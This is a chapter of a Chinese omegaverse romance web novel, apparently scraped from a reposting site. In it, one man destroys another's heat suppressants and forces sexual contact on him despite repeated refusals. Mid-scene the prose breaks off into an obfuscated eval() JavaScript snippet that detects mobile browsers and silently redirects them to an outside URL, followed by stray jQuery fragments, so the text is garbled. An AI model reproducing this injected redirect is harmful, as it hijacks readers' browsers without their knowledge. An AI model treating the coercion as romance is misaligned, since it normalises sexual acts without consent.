18. 恶劣惩罚

作品:《深度诱捕:与疯批协议结婚以后

    夜空像是被泼洒了浓黑的墨,沉甸甸的覆盖在海面上,连同海水也变成了望不见底的深黑。


    楚亦澜独自坐在甲板上望着星空,带着丝丝凉意的海风吹拂过他的身体,将他的黑发吹的凌乱飞舞。


    这艘船不知道会开往何处,下午他问过沈应霖,但他只是沉默并没有告诉他,他不知道这次决定是否正确,他甚至会想到沈应霖会不会将他们一船人集体送到宴非昂面前按个论价,毕竟对他们这些以利益为首的人来说没有什么比金钱地位更有诱惑力了。


    甲板上传来轻浅的脚步声,一件外套披在楚亦澜身上,“夜里风大,你身体还没有完全恢复不应该过来吹风。”


    上船开始沈应霖的视线就跟随楚亦澜,本不想过来叫他的,可是海风越来越大他却丝毫没有要回去休息的意思,看着他越发苍白的脸色,沈应霖心有不忍,只得厚着脸皮过来叫他。


    他不说还好,一经他提醒以前受的伤口每一处都在隐隐作痛,如同跗骨之蛆一寸一寸蚕食着他的血肉骨髓。


    闻到男人身上特有的雪松气息,楚亦澜微微皱眉,觉得口干舌燥难受的紧,正要开口一股熟悉而又陌生的燥热感替代酥酥麻麻的痛感,从四肢百骸蔓延开来,楚亦澜连忙低头捂住胸口,随着心跳逐渐加快,一种难以抑制的冲动在心底蠢蠢欲动。


    糟糕,不会巧吧。


    “知道了,这就回去。”楚亦澜连忙站起来,他努力抑制住嗓子里的干哑让自己声音听起来正常一些,“别跟着我,我不想看到你。”


    楚亦澜面部有任何细微变化都逃不过沈应霖鹰隼般的眼睛,看到他死死咬着嘴唇像是在隐忍什么,脸色还这么苍白,沈应霖眉梢不易察觉的拧了下,他没有阻拦,任由楚亦澜晃晃悠悠的往房间走去。


    楚亦澜越走越觉得全身无力,所有的力量都被抽干了似的,不顾身后那道紧紧盯住自己的视线,他加快脚步,头晕眼花的却没有注意到有个几公分高的小台阶,一个没踩住被拌了下,好在一直跟在他身后的沈应霖眼疾手快的抓住他胳膊。


    “楚亦澜,你怎么了?”掌心温度灼热的吓人,楚亦澜的身体隐隐在发抖,“是发烧了吗?”


    “跟你没关系,放开。”楚亦澜撇过头去,他一把甩开沈应霖逃也似的迅速离开现场,回到房间‘砰’的一声将门关上。


    楚亦澜后背紧贴在门上低头喘息着,怎么也没想到这个时候发热期会来,明明已经没有腺体,但他还是有顶级Omega才会有的发热期,而且每一次发热期到来都能要了他半条命。


    给楚雁打过电话让他迅速将抑制剂送过来,楚亦澜便跑到浴室打开淋浴,让冷水冲刷这具不受控的身体。


    门外,去拿退烧药的沈应霖正巧与来送特殊抑制剂的楚雁遇上,他目光冷峻的盯着楚雁手中的银质手提箱看了一眼。


    见楚雁要敲门,立即拽住他的手腕,将银质手提箱抢了过去。


    “你做什么,东西还我。”楚雁比沈应霖矮了将近十公分,沈应霖一抬手,以他的身高就算踮起脚尖也无法够到,“姓沈的,把东西还给我。”


    “这里,装的什么?”


    刚才拎起来时好似听到玻璃碰撞的声音,像是装着什么东西的玻璃管。


    “关你什么事?”楚雁看到沈应霖就没什么好脸色,但他试了好几次都没能成功的将东西抢过来,不知道族长现在怎么样,再耽搁下去恐怕又要出现惊厥现状,必须要立刻将东西拿进去。


    沈应霖冷冷注视着他,颇有他不说,就不会将东西还给他的意思。


    楚雁着急起来,只得咬牙道:“这是抑制剂,用来抑制Omega发热期的药剂,没有他,族长会很难受。”


    研究蕤雪族人这么久,知晓那么多秘密,沈应霖自然也知道发热期是什么,抑制剂是什么。


    怪不得方才楚亦澜脸色苍白却浑身发烫,原来是发热期到了。


    “发热期不是一直有规律吗?为什么楚亦澜看上去却没有注意到自己的发热期到来?”沈应霖冷声问。


    “族长虽然是顶级Omega,但身体长期亏损,七年前又被宴非昂注射了不少奇奇怪怪的药物,导致他的发情热不再固定,而且比任何人都要严重,就连这特殊抑制剂都是霖叔特地为族长调制的,可霖叔一死,再也没人能为族长再调制,恐怕以后……”


    楚雁也没想到在男人威慑冷漠的目光下不知不觉竟说了这么多,想到什么,他的声音戛然而止,立马再去抢手提箱,“现在族长很难受必须要用抑制剂,你把东西还给我。”


    “不需要你。”沈应霖冷漠的觑他一眼,“你可以走了,东西我会交给他。”


    “可是族长……”


    沈应霖一个带有警告的目光甩过去,楚雁未说完的话愣是硬生生的又憋了回去。


    楚雁看看那扇紧闭着的门,再走两步就能把东西递给族长,但他知道别说两步就是移动一下都是不可能的了。


    “知道了,那你快点把东西送进去吧。”


    虽然知道这个男人不坏好心,但人在屋檐下不得不低头的道理楚雁还是懂的,沈家与蕤雪族渊源颇深,他又是沈家家主,本就有责任照顾族长,把族长交给他至少是安全的。


    内心挣扎一会儿,容不得楚雁思考耽搁时间,沈应霖一把提小鸡仔似的拎着他的后衣领子将人提起来扔到一边,“你可以走了,没有我的吩咐,蕤雪族的事暂时交给你处理,禁止你的族人靠近,否则来一个扔海里一个。”


    丢下一句警告,沈应霖拿出门卡‘滴’的一声打开门走了进去。


    水声夹杂着男人无力难受的喘息,冰凉的水也无法解决这猛兽般汹涌的热潮,白衬衫已经被他撕扯的掉了好几颗纽扣,可手指无力,无法将身上的衣服拽掉,反而越来越手忙脚乱的。


    楚亦澜死死的咬着嘴唇,嗓子里偶尔会因为受不住溢出几声令人心碎的呜咽呜咽。


    听到门被打开的声音,楚亦澜涣散的瞳孔亮了下,他连忙拖着燥热的身体往门口爬,“楚雁,楚雁,我,我在这儿,把,把,把抑制剂给我……”


    正在拧动门把的手动作停了下来,沈应霖脸上闪过一丝恶劣的笑,打开门,就看到浑身湿透的楚亦澜正抬头,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452005|168701||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看到他的一瞬间瞳孔急速缩成针尖大小。


    “沈应霖,怎么是你?”楚亦澜眼底厉光一闪,视线下移,看到他手中的箱子面色骤然一变,“这,怎么会在你手里。”


    “用这玩意儿对你的身体会造成很大的影响,所以……”沈应霖打开箱子将里面那几支翠绿色针剂拿出来当着楚亦澜的面一个一个的捏碎,“我不能让你再用这个。”


    “沈应霖。”楚亦澜身体僵硬一瞬,强忍身体不适站起来疯了似的去争夺他手中的药剂,“还给我,把抑制剂还给我……”


    沈应霖却一把抓住他的手腕将他往怀里带,趁着楚亦澜抬头之际,低头吻住他微张的嘴唇,而另一只手却抓住楚亦澜的手,带着他亲自将最后一支药剂捏碎。


    玻璃发出的‘咔嚓’声很清脆落在楚亦澜耳中却如同雷霆万钧,瞬间将他的三魂七魄击的粉碎,他浑身柔软的没什么力气,满是绝望地眼睁睁看着绿色药剂自二人指缝之间流淌,一滴,一滴……


    药剂弥散出的特殊气味融合这楚亦澜身上的气息,有种说不出的诱惑旖旎,一种微妙的气氛在小小的浴室里蔓延开来。


    沈应霖喉头滚动,落在楚亦澜苍白脸颊上的目光越发露骨,肆无忌惮。


    楚亦澜气愤地双眼血红,他用力的一口咬在沈应霖的嘴唇上,血腥气顿时在二人唇齿间流窜,疼痛并每一偶让沈应霖放开他。


    剧烈颤抖的身体猛地被沈应霖抱起来,无视楚亦澜的挣扎捶打,他边重重亲吻楚亦澜的嘴唇边带着他往床边走。


    “沈应霖,呜……”湿透的衣服被人拽掉,冰凉的身体又落入宽厚温暖的胸膛,冷热交替的感觉很不好受。


    楚亦澜眼角不知是因为愤怒还是因为强忍欲望而变得深红,像是只被欺负狠了的兔子,“你把我的抑制剂弄碎,你知不知道霖叔死了,没人,没人能够再……”


    沈应霖眼中情绪复杂,有联系,有心疼,也有压制不住呼之欲出的欲望,“我知道,我也很清楚这东西副作用有多大,这药剂越是特殊越能摧毁你的神经,对你的身体造成不可挽回的伤害。”


    细长手指捏住楚亦澜的下巴,没控制好力度,在雪白的肌肤上留下两处红色掐痕。


    沈应霖微微眯眼,直接断绝楚亦澜日后再用抑制剂的想法,“我不会再让你用这种损伤身体的东西,还有其他方法可以缓解发热期,不是吗?”


    冰凉的手按在楚亦澜发烫的颈动脉上,往后慢慢移动,在滚烫灼热的后颈凸起处用力按了下。


    “呜……”楚亦澜顿时浑身触电似的身体弓起,双手下意识的揽住沈应霖的脖颈借以支撑着仿佛要坠落深渊一样的身体,“我不需要,我不需要,你,你滚,滚出去……”


    “关系到你的身体和性命的事,可由不得你。”


    沈应霖侧过头恶意惩罚似的在他脖子上用力咬一口,直到听到怀里人痛苦的呜咽声,嘴里品尝到带有淡淡茉莉的血香时他才松开去帮楚亦澜解决发热期带来的痛苦。


    嘶哑的声音说着最决绝的话语,他说:“楚亦澜,你是我的,你永远也别想摆脱我。”